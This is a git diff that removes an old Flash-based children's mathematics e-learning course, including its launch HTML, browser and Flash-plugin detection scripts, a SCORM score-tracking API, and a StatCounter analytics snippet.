-<title>ELearning For Kids</title>
-
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="250" height="85" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                Your computer does not meet the minimum requirements for viewing 
-                this course. It is recommended that you take this course from 
-                any other computer. Please click <a href="http://www.macromedia.com/support/flash/releasenotes/player/rn_6.html#systemrequirements" target="_blank">here</a> 
-                to view System Requirements. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-214,-45,591,157" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Mathematics/M0801/images/bg_03.jpg b/Explore/elr/Mathematics/M0801/images/bg_03.jpg
deleted file mode 100755
index 4c35c15..0000000
--- a/Explore/elr/Mathematics/M0801/images/bg_03.jpg
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/images/efk_logo.png b/Explore/elr/Mathematics/M0801/images/efk_logo.png
deleted file mode 100755
index b84ec18..0000000
--- a/Explore/elr/Mathematics/M0801/images/efk_logo.png
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/images/launch.gif b/Explore/elr/Mathematics/M0801/images/launch.gif
deleted file mode 100755
index da5e37e..0000000
--- a/Explore/elr/Mathematics/M0801/images/launch.gif
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/index.html b/Explore/elr/Mathematics/M0801/index.html
deleted file mode 100755
index 6ec397d..0000000
--- a/Explore/elr/Mathematics/M0801/index.html
+++ /dev/null
@@ -1,38 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript">
-<!--
-	function fnShowPopup(htmlfile){
-		w=700;
-		h=541;
-		 var wo= window.open("media/"+htmlfile,"_blank","width="+w+", height="+h+",scrollbars=no,resizable=no,status=no, left=" + (window.screen.width-w)/2 +", top="+(window.screen.height-h)/2);
-		wo.focus();
-
-	}
-	function finish(){
-		window.opener.close();
-	}
-//-->
-</script>
-
-<!-- Start of StatCounter Code -->
-<script type="text/javascript">
-var sc_project=3266458; 
-var sc_invisible=0; 
-var sc_partition=35; 
-var sc_security="55215b89"; 
-</script>
-
-<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div class="statcounter"><a class="statcounter" href="http://www.statcounter.com/"><img class="statcounter" src="http://c36.statcounter.com/3266458/0/55215b89/0/" alt="website metrics" /></a></div></noscript>
-<!-- End of StatCounter Code -->
-</head>
-<script language="javascript">
-		document.write("<HTML><HEAD><meta http-equiv=Content-Type content=text/html;  charset=ISO-8859-1\"><TITLE>Key Boarding</TITLE>");
-		document.write("</HEAD><BODY scroll=no onUnload=\"finish()\" leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\" ><table height=\"100%\" width=\"100%\"><tr><td align=\"center\" valign=\"middle\"><OBJECT classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"codebase=\"https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0\" WIDTH=\"800\" HEIGHT=\"600\" id=\"myFlash\" ALIGN=\"\"> <PARAM NAME=movie VALUE=\"interface.swf\"> <PARAM NAME=quality VALUE=high> <PARAM NAME=menu VALUE=false> <PARAM NAME=loop VALUE=false><PARAM NAME=bgcolor VALUE=#FFFFFF> <EMBED src=\"interface.swf\" quality=high bgcolor=#FFFFFF  WIDTH=\"800\" HEIGHT=\"600\" NAME=\"myFlash\" ALIGN=\"\" TYPE=\"application/x-shockwave-flash\" PLUGINSPAGE=\"https://www.macromedia.com/go/getflashplayer\"></EMBED></OBJECT></td></tr></table></BODY></HTML>");
- </script>
- 
- 
-</html>
diff --git a/Explore/elr/Mathematics/M0801/interface.swf b/Explore/elr/Mathematics/M0801/interface.swf
deleted file mode 100755
index 3bb160b..0000000
--- a/Explore/elr/Mathematics/M0801/interface.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/js/browser-detection.js b/Explore/elr/Mathematics/M0801/js/browser-detection.js
deleted file mode 100755
index 54d8b3b..0000000
--- a/Explore/elr/Mathematics/M0801/js/browser-detection.js
+++ /dev/null
@@ -1,185 +0,0 @@
-// JavaScript Document v:1.3
-// Requires navigator 2.0, Internet Explorer 3.0
-
-// Browser ::
-//navigator.appVersion
-//navigator.appName
-//navigator.appCodeName(code name of browser)
-
-var agt, os, browser, version, place, thestring, osVer;
-var notCompatiblePage = "../html/os_not_compatible_page.html";
-var compatiblePage = "../html/launch.html";
-var flashDetectionPage = "../html/fpi_detection.html";
-
-// Browser Version Required for Windows
-var winIEVer = 4;
-var winNetscapeVer = 4;
-var winOperaVer = 6;
-var winAOLVer = 7;
-var winMozillaVer = 1;
-
-// Browser Version Required for Mac
-var macIEVer = 5;
-var macNetscapeVer = 4.7;
-var macOperaVer = 5;
-var macMozillaVer = 1;
-
-// Browser Version Required for Linux
-var linuxMozillaVer = 1.1;
-
-function getAgtInfo() {
-	agt = navigator.userAgent.toLowerCase();
-	if (checkIt('konqueror')) {
-		browser = "Konqueror";
-		os = "Linux";
-		osVer = "na";
-	} else if (checkIt('safari')) {
-		browser = "Safari";
-	} else if (checkIt('aol')) {
-		browser = "AOL";
-	} else if (checkIt('opera')) {
-		browser = "Opera";
-		if (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1) {
-			version = 2;
-		} else if (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1) {
-			version = 3;
-		} else if (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1) {
-			version = 4;
-		} else if (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1) {
-			version = 5;
-		} else if (agt.indexOf("opera 6") != -1 || agt.indexOf("opera/6") != -1) {
-			version = 6;
-		} else if (agt.indexOf("opera 7") != -1 || agt.indexOf("opera/7") != -1) {
-			version = 7;
-		} else {
-			version = 0;
-		}
-	} else if (checkIt('msie')) {
-		browser = "IE";
-	} else if (!checkIt('compatible')) {
-		browser = "Netscape";
-		//alert(navigator.appVersion.substr(0, 3));
-		//version = agt.charAt(8);
-		version = navigator.appVersion.substr(0, 3);
-		if(Number(version) == NaN || Number(version) == "NaN") {
-			version = agt.charAt(8);
-		}
-	} else if ((agt.indexOf("mozilla")) != -1 && browser == undefined) {
-		browser = "Mozilla";
-	} else {
-		browser = "unknown browser";
-	}
-	if (!version) {
-		version = agt.charAt(place+thestring.length);
-	}
-	if (!os) {
-		if (checkIt('linux')) {
-			os = "Linux";
-			osVer = "na";
-		} else if (checkIt('x11')) {
-			os = "Unix";
-			osVer = "na";
-		} else if (checkIt('mac')) {
-			os = "Mac";
-			if((((agt.indexOf("68k")!=-1) || (agt.indexOf("68000")!=-1)))){
-				osVer = "mac 68k"
-			} else if((((agt.indexOf("ppc")!=-1) || (agt.indexOf("powerpc")!=-1)))) {
-				osVer = "mac powerpc"
-			}
-		} else if (checkIt('win')) {
-			os = "Win";
-			if((((agt.indexOf("win98")!=-1) || (agt.indexOf("windows 98")!=-1)))){
-				osVer = "Win 98"
-			} else if((((agt.indexOf("win95")!=-1) || (agt.indexOf("windows 95")!=-1)))) {
-				osVer = "Win 95"
-			} else if((((agt.indexOf("win 9x 4.90")!=-1)))) {
-				osVer = "Win ME"
-			} else if((((agt.indexOf("windows nt 5.0")!=-1) || (agt.indexOf("windows 2000")!=-1)))) {
-				osVer = "Win 2k"
-			} else if((((agt.indexOf("windows nt 5.1")!=-1) || (agt.indexOf("windows xp")!=-1)))) {
-				osVer = "Win XP"
-			} else if((((agt.indexOf("winnt")!=-1) || (agt.indexOf("windows nt")!=-1)))) {
-				osVer = "Win NT"
-			}
-		} else {
-			os = "unknown operating system";
-		}
-	}
-	checkCompatibility();
-}
-function checkIt(string) {
-	place = agt.indexOf(string)+1;
-	thestring = string;
-	return place;
-}
-function checkCompatibility() {
-	//alert("agt: "+agt+" Your OS is: "+os+" & browser is: "+browser+" & version: "+Number(version));
-	//alert(navigator.appCodeName);
-	if(os != "unknown operating system") {
-		if (os == "Win") {		 
-			if (osVer == "Win 95" || osVer == "Win 98" || osVer == "Win ME" || osVer == "Win NT" || osVer == "Win 2k" || osVer == "Win XP") {
-				if (browser == "IE" && (Number(version) >= winIEVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);					
-				} else if (browser == "Netscape" && (Number(version) >= winNetscapeVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Opera" && (Number(version) >= winOperaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "AOL" && (Number(version) >= winAOLVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Mozilla" && (Number(version) >= winMozillaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else {
-					window.location.replace(notCompatiblePage);
-					//window.location = compatiblePage;
-				}	
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = notCompatiblePage;
-			}
-		} else if (os == "Mac") {
-			//alert("browser: "+browser+" & macIEVer: "+macIEVer+" & macNetscapeVer: "+macNetscapeVer+" & navigator.appVersion: "+navigator.appVersion);
-			if (browser == "IE" && (Number(version) >= macIEVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Netscape" && (Number(version) >= macNetscapeVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Opera" && (Number(version) >= macOperaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "AOL") {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Mozilla" && (Number(version) >= macMozillaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else if (os == "Linux") {
-			if(browser == "Konqueror") {
-				//window.location.replace(compatiblePage);
-				window.location.replace(notCompatiblePage);
-			} else if (Number(version) >= linuxMozillaVer) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else {
-			window.location.replace(notCompatiblePage);
-			//window.location = compatiblePage;
-		}
-	} else {
-		window.location.replace(notCompatiblePage);
-		//window.location = notCompatiblePage;
-	}
-}
-getAgtInfo();
diff --git a/Explore/elr/Mathematics/M0801/js/fpi-init.js b/Explore/elr/Mathematics/M0801/js/fpi-init.js
deleted file mode 100755
index ecd135e..0000000
--- a/Explore/elr/Mathematics/M0801/js/fpi-init.js
+++ /dev/null
@@ -1,46 +0,0 @@
-// moock fpi [f.lash p.layer i.nspector]
-// version: 1.3.7
-// written by colin moock
-// code maintained at: http://www.moock.org/webdesign/flash/detection/moockfpi/
-// terms of use posted at: http://www.moock.org/terms/
-
-
-
-// =============================================================================
-// These are the user defined globals.
-// Modify the following variables to customize the inspection behaviour.
-
-var requiredVersion = 7;   // Version the user needs to view site (max 9, min 2)
-var useRedirect = true;    // Flag indicating whether or not to load a separate
-                           // page based on detection results. Set to true to
-                           // load a separate page. Set to false to embed the
-                           // movie or alternate html directly into this page.
-                           
-// Only set next three vars if useRedirect is true...
-var flashPage   = "../html/fpi_flash.html"    // The location of the flash movie page
-var noFlashPage = "../html/fpi_no_flash.html"  // Page displayed if the user doesn't have the
-                                  // plugin or we can't detect it.
-var upgradePage = "../html/fpi_upgrade_flash.html"  // Page displayed if we detect an old plugin
-var blankPage = "../html/fpi_blank.html"
-// =============================================================================
-
-
-
-// *************
-// Everything below this point is internal until after the BODY tag.
-// Do not modify! Proceed to the BODY tag for further instructions.
-// *************
-
-// System globals
-var flash2Installed = false;    // boolean. true if flash 2 is installed
-var flash3Installed = false;    // boolean. true if flash 3 is installed
-var flash4Installed = false;    // boolean. true if flash 4 is installed
-var flash5Installed = false;    // boolean. true if flash 5 is installed
-var flash6Installed = false;    // boolean. true if flash 6 is installed
-var flash7Installed = false;    // boolean. true if flash 7 is installed
-var flash8Installed = false;    // boolean. true if flash 8 is installed
-var flash9Installed = false;    // boolean. true if flash 9 is installed
-var maxVersion = 9;             // highest version we can actually detect
-var actualVersion = 0;          // version the user really has
-var hasRightVersion = false;    // boolean. true if it's safe to embed the flash movie in the page
-var jsVersion = 1.0;            // the version of javascript supported
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M0801/js/fpi-main.js b/Explore/elr/Mathematics/M0801/js/fpi-main.js
deleted file mode 100755
index 2926268..0000000
--- a/Explore/elr/Mathematics/M0801/js/fpi-main.js
+++ /dev/null
@@ -1,101 +0,0 @@
-// Next comes the standard javascript detection that uses the 
-// navigator.plugins array. We pack the detector into a function so that 
-// it preloads before being run.
-
-function detectFlash() {  
-  // If navigator.plugins exists...
-  if (navigator.plugins) {
-    // ...then check for flash 2 or flash 3+.
-    if (navigator.plugins["Shockwave Flash 2.0"]
-        || navigator.plugins["Shockwave Flash"]) {
-
-      // Some version of Flash was found. Time to figure out which.
-      
-      // Set convenient references to flash 2 and the plugin description.
-      var isVersion2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
-      var flashDescription = navigator.plugins["Shockwave Flash" + isVersion2].description;
-
-      // DEBUGGING: uncomment next line to see the actual description.
-      // alert("Flash plugin description: " + flashDescription);
-      
-      // A flash plugin-description looks like this: Shockwave Flash 4.0 r5
-      // We can get the major version by grabbing the character before the period
-      // note that we don't bother with minor version detection. 
-      // Do that in your movie with $version or getVersion().
-      var flashVersion = parseInt(flashDescription.substring(16));
-
-      // We found the version, now set appropriate version flags. Make sure
-      // to use >= on the highest version so we don't prevent future version
-      // users from entering the site.
-      flash2Installed = flashVersion == 2;    
-      flash3Installed = flashVersion == 3;
-      flash4Installed = flashVersion == 4;
-      flash5Installed = flashVersion == 5;
-      flash6Installed = flashVersion == 6;
-      flash7Installed = flashVersion == 7;
-      flash8Installed = flashVersion == 8;
-      flash9Installed = flashVersion >= 9;
-    }
-  }
-  
-  // Loop through all versions we're checking, and
-  // set actualVersion to highest detected version.
-  for (var i = 2; i <= maxVersion; i++) {  
-    if (eval("flash" + i + "Installed") == true) actualVersion = i;
-  }
-  
-  // If we're on msntv (formerly webtv), the version supported is 4 (as of
-  // January 1, 2004). Note that we don't bother sniffing varieties
-  // of msntv. You could if you were sadistic...
-  if(navigator.userAgent.indexOf("WebTV") != -1) actualVersion = 4;  
-  
-  // DEBUGGING: uncomment next line to display flash version
-  // alert("version detected: " + actualVersion);
-
-
-  // We're finished getting the version on all browsers that support detection.
-  // Time to take the appropriate action.
-
-  // If the user has a new enough version...
-  if (actualVersion >= requiredVersion) {
-    // ...then we'll redirect them to the flash page, unless we've
-    // been told not to redirect.
-    if (useRedirect) {
-      // Need javascript1.1 to do location.replace
-      if(jsVersion > 1.0) {
-        // It's safe to use replace(). Good...we won't break the back button.
-        window.location.replace(flashPage);  
-      } else {
-        // JavaScript version is too old, so use .location to load
-        // the flash page.
-        window.location = flashPage;
-      }
-    }
-    
-    // If we got here, we didn't redirect. So we make a note that we should
-    // write out the object/embed tags later.
-    hasRightVersion = true;                
-  } else {  
-    // The user doesn't have a new enough version.
-    // If the redirection option is on, load the appropriate alternate page.
-    if (useRedirect) {
-		//if (confirm("This course requires Macromedia Flash Player 6.\nIt seems like you don't have required flash player installed on your machine.\nWould you like to install Flash Player now?")){
-			//window.open("http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash");
-		//} else {
-			//alert("else part");
-		//}
-      // Do the same .replace() call only if js1.1+ is available.
-      if(jsVersion > 1.0) {
-        //window.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-		 window.location.replace(blankPage);
-		parent.mainFrame.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-      } else {
-        //window.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-		 window.location = blankPage;
-		parent.mainFrame.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-      }	 	  
-    }
-  }
-}
-
-detectFlash();  // call our detector now that it's safely loaded. 
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M0801/js/fpi-swap.js b/Explore/elr/Mathematics/M0801/js/fpi-swap.js
deleted file mode 100755
index c08f889..0000000
--- a/Explore/elr/Mathematics/M0801/js/fpi-swap.js
+++ /dev/null
@@ -1,33 +0,0 @@
-// In this section we set up the content to be placed dynamically on the page.
-// Customize movie tags and alternate html content below.
-
-if (!useRedirect) {    // if dynamic embedding is turned on
-  if(hasRightVersion) {  // if we've detected an acceptable version
-    var oeTags = '<OBJECT CLASSID="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'CODEBASE="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">'
-    + '<PARAM NAME="MOVIE" VALUE="movie.swf">'
-    + '<PARAM NAME="PLAY" VALUE="true">'
-    + '<PARAM NAME="LOOP" VALUE="false">'
-    + '<PARAM NAME="QUALITY" VALUE="high">'
-    + '<PARAM NAME="MENU" VALUE="false">'
-    + '<EMBED SRC="movie.swf"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'PLAY="true"'
-    + 'LOOP="false"'
-    + 'QUALITY="high"'
-    + 'MENU="false"'
-    + 'TYPE="application/x-shockwave-flash"'
-    + 'PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash">'
-    + '<\/EMBED>'
-    + '<\/OBJECT>';
-
-    document.write(oeTags);   // embed the flash movie
-  } else {  // flash is too old or we can't detect the plugin
-    // NOTE: height, width are required!
-    var alternateContent = '<IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">' 
-      + '<BR>any desired alternate html code goes here';
-
-    document.write(alternateContent);  // insert non-flash content
-  }
-}
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M0801/js/fpi-writevb.js b/Explore/elr/Mathematics/M0801/js/fpi-writevb.js
deleted file mode 100755
index 2bdd8b3..0000000
--- a/Explore/elr/Mathematics/M0801/js/fpi-writevb.js
+++ /dev/null
@@ -1,23 +0,0 @@
-// Check the browser...we're looking for ie/win, but not aol
-var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;    // true if we're on ie
-var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; // true if we're on windows
-
-
-// This is a js1.1 code block, so make note that js1.1 is supported.
-jsVersion = 1.1;
-
-// Write vbscript detection on ie win. IE on Windows doesn't support regular
-// JavaScript plugins array detection.
-if(isIE && isWin){
-  document.write('<SCR' + 'IPT LANGUAGE=VBScript\> \n');
-  document.write('on error resume next \n');
-  document.write('flash2Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.2"))) \n');
-  document.write('flash3Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.3"))) \n');
-  document.write('flash4Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.4"))) \n');
-  document.write('flash5Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.5"))) \n');  
-  document.write('flash6Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.6"))) \n');  
-  document.write('flash7Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.7"))) \n');
-  document.write('flash8Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.8"))) \n');
-  document.write('flash9Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.9"))) \n');
-  document.write('<\/SCR' + 'IPT\> \n'); // break up end tag so it doesn't end our script
-}
diff --git a/Explore/elr/Mathematics/M0801/js/scorm_api.js b/Explore/elr/Mathematics/M0801/js/scorm_api.js
deleted file mode 100755
index 7d4e2ba..0000000
--- a/Explore/elr/Mathematics/M0801/js/scorm_api.js
+++ /dev/null
@@ -1,276 +0,0 @@
-var findAPITries=1;
-var API = null;
-var	timerID = null
-var	timerRunning = false
-var	startDate
-var	startSecs
-var timeValue
-var lessonStatus=false;
-var Bookmark_location="undefined";
-var SetMasteryScore=80;
-var LMSStatus;
-//-----------------------------------------------------------------------
-function FindAPI(win)
-{
-   while ((win.API == null) && (win.parent != null) && (win.parent != win))
-   {
-      findAPITries++;
-      // Note: 7 is an arbitrary number, but should be more than sufficient
-      if (findAPITries > 7) 
-      {
-        parent.status = "Error finding API -- too deeply nested.";
-         return null;
-      }
-      
-      win = win.parent;
-
-   }
-   return win.API;
-}
-//-----------------------------------------------------------------------
-function GetAPI()
-{
-
-   var API = FindAPI(window);
-   if ((API == null) && (window.opener != null) && (typeof(window.opener) != "undefined"))
-   {
-      API = FindAPI(window.opener);
-   }
-   if (API == null)
-   {
-     parent.status = "Unable to find an API adapter";
-   }
-
-   return API
-}
-//-----------------------------------------------------------------------
-function initSco()
-
-{
-		API = GetAPI();
-		if( API != null )
-		{
-			var ret;
-			var code;
-			var diag;
-			API.LMSInitialize("");
-			startclock();
-			
-			set_val("cmi.core.score.max",100);
-			set_val("cmi.core.score.min",0);
-
-			var status = get_val("cmi.core.lesson_status")
-			if (status == "not attempted")
-			{
-			  // the student is now attempting the lesson
-			  set_val("cmi.core.lesson_status","incomplete");
-			}
-				
-			tempPage=get_val("cmi.core.lesson_location")
-			//alert("tempPage "+tempPage);
-			//alert("lesson_status "+get_val("cmi.core.lesson_status"));
-			var tmp = tempPage.split("^");			
-			//if(tempPage != ""){
-			if(Number(tmp[0])>=0){
-			//alert("tempPage "+tempPage)
-			//tempPage=Number(tempPage)
-				Bookmark_location=tempPage;			
-			}
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );	
-		}
-	
-}
-function set_val( gname,gvalue )
-{
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret;
-		var code;
-		var diag;		
-
-		API.LMSSetValue( gname, gvalue );		
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function get_val( gname )
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-	
-	var ret1,ret2;
-		var code;
-		var diag;
-				
-		ret1 = API.LMSGetValue( gname );		
-		code = API.LMSGetLastError();
-		ret2 = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );
-	//alert ("inside "+gname+ " "+ret1)
-	return ret1;		
-		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function commit()
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret = "";
-		var code;
-		var diag;
-		
-		API.LMSCommit("");
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function finish()
-{
-//if(callUnload == true){	
-	//alert(lessonStatus);
-		API = GetAPI();
-			
-		if( API != null )
-		{
-		
-			var ret;
-			var code;
-			var diag;
-			
-			//alert("parent.next "+parent.nextCount)
-			//alert("Bookmark_location in finish: "+Bookmark_location);
-			set_val("cmi.core.lesson_location",Bookmark_location);
-			//alert(get_val("cmi.core.lesson_location"))
-			sTime=stopclock();
-			sTime=String(sTime)
-			set_val("cmi.core.session_time",sTime);
-			//if(lessonStatus){
-				
-			 //set_val("cmi.core.lesson_status","completed");
-			//}
-			commit();
-			ret = API.LMSFinish("");
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );
-
-		}
-//	}
-	
-};
-
-function stopclock()
-{
-
-	if(timerRunning){
-		clearTimeout(timerID)
-		timerRunning = false
-		return timeValue
-}
-}
-//-----------------------------------------------------------------------
-function startclock()
-{
-
-	startDate = new Date()
-	startSecs = (startDate.getHours()*60*60) + (startDate.getMinutes()*60) 
-						+ startDate.getSeconds()
-
-	stopclock()
-		showtime()
-	
-}
-//-----------------------------------------------------------------------
-function showtime()
-{
-	// this doesn't work correctly at midnight...
-
-	var now = new Date()
-	var nowSecs = (now.getHours()*60*60) + (now.getMinutes()*60) + now.getSeconds()
-	var elapsedSecs = nowSecs - startSecs;
-
-	var hours = Math.floor( elapsedSecs / 3600 )
-	elapsedSecs = elapsedSecs - (hours*3600)
-
-	var minutes = 	Math.floor( elapsedSecs / 60 )
-	elapsedSecs = elapsedSecs - (minutes*60)
-
-	var seconds = elapsedSecs
-
-	timeValue = "" + hours
-		if(hours<10){
-		timeValue = "0" + hours
-	}
-	timeValue  += ((minutes < 10) ? ":0" : ":") + minutes
-	timeValue  += ((seconds < 10) ? ":0" : ":") + seconds
-
-		// Update display
-	timerID = setTimeout("showtime()",1000)
-	timerRunning = true
-}
-
-function fnGetBookMark()
-
-{
-
-return Bookmark_location
-
-}
-
-function set_location(setbookmark)
-{
-Bookmark_location=setbookmark;
-set_val("cmi.core.lesson_location",Bookmark_location);
-commit();
-//alert("Bookmark_location: "+Bookmark_location);
-}
-
-function fnSetLastPage(lastpge) {
-
-lessonStatus= lastpge
-
-}
-function sendScore(score) {	
-	//var stat = (score >= SetMasteryScore? "passed" : "failed");
-	var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	commit();
-	//alert("score: "+score);
-}
-function fnGetData() {
-	//var LMSStatus = get_val("cmi.core.lesson_status");
-	return Bookmark_location;
-}
-function setScore(score, bookmark) {	
-	var stat = (score >= SetMasteryScore? "passed" : "failed");
-	//var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-function setCompletion(lStatus, bookmark) {	
-	set_val("cmi.core.lesson_status", lStatus);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M0901/index.html b/Explore/elr/Mathematics/M0901/index.html
deleted file mode 100755
index 813b552..0000000
--- a/Explore/elr/Mathematics/M0901/index.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
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-<head>
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-<title>v5</title>
-</head>
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-"https://ssl." : "http://www.");
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diff --git a/Explore/elr/Mathematics/M0901/v5.swf b/Explore/elr/Mathematics/M0901/v5.swf
deleted file mode 100755
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--- a/Explore/elr/Mathematics/M0901/v5.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/courses/l1_t1_01.swf b/Explore/elr/Mathematics/M1001/courses/l1_t1_01.swf
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--- a/Explore/elr/Mathematics/M1001/courses/l1_t1_01.swf
+++ /dev/null
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--- a/Explore/elr/Mathematics/M1001/courses/l1_t1_03.swf
+++ /dev/null
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--- a/Explore/elr/Mathematics/M1001/courses/l1_t1_05.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/courses/l1_t1_06.swf b/Explore/elr/Mathematics/M1001/courses/l1_t1_06.swf
deleted file mode 100755
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--- a/Explore/elr/Mathematics/M1001/courses/l1_t1_06.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/courses/l1_t1_07.swf b/Explore/elr/Mathematics/M1001/courses/l1_t1_07.swf
deleted file mode 100755
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--- a/Explore/elr/Mathematics/M1001/courses/l1_t1_07.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/courses/l1_t1_08.swf b/Explore/elr/Mathematics/M1001/courses/l1_t1_08.swf
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--- a/Explore/elr/Mathematics/M1001/courses/l1_t1_08.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M1001/courses/l1_t1_09.swf b/Explore/elr/Mathematics/M1001/courses/l1_t1_09.swf
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+++ /dev/null
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--- a/Explore/elr/Mathematics/M1001/courses/l1_t1_10.swf
+++ /dev/null
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deleted file mode 100755
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--- a/Explore/elr/Mathematics/M1001/courses/l1_t2_02.swf
+++ /dev/null
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+++ /dev/null
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--- a/Explore/elr/Mathematics/M1001/courses/l1_t2_04.swf
+++ /dev/null
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--- a/Explore/elr/Mathematics/M1001/courses/l1_t2_05.swf
+++ /dev/null
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--- a/Explore/elr/Mathematics/M1001/courses/l1_t2_06.swf
+++ /dev/null
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deleted file mode 100755
index 8d71cf9..0000000
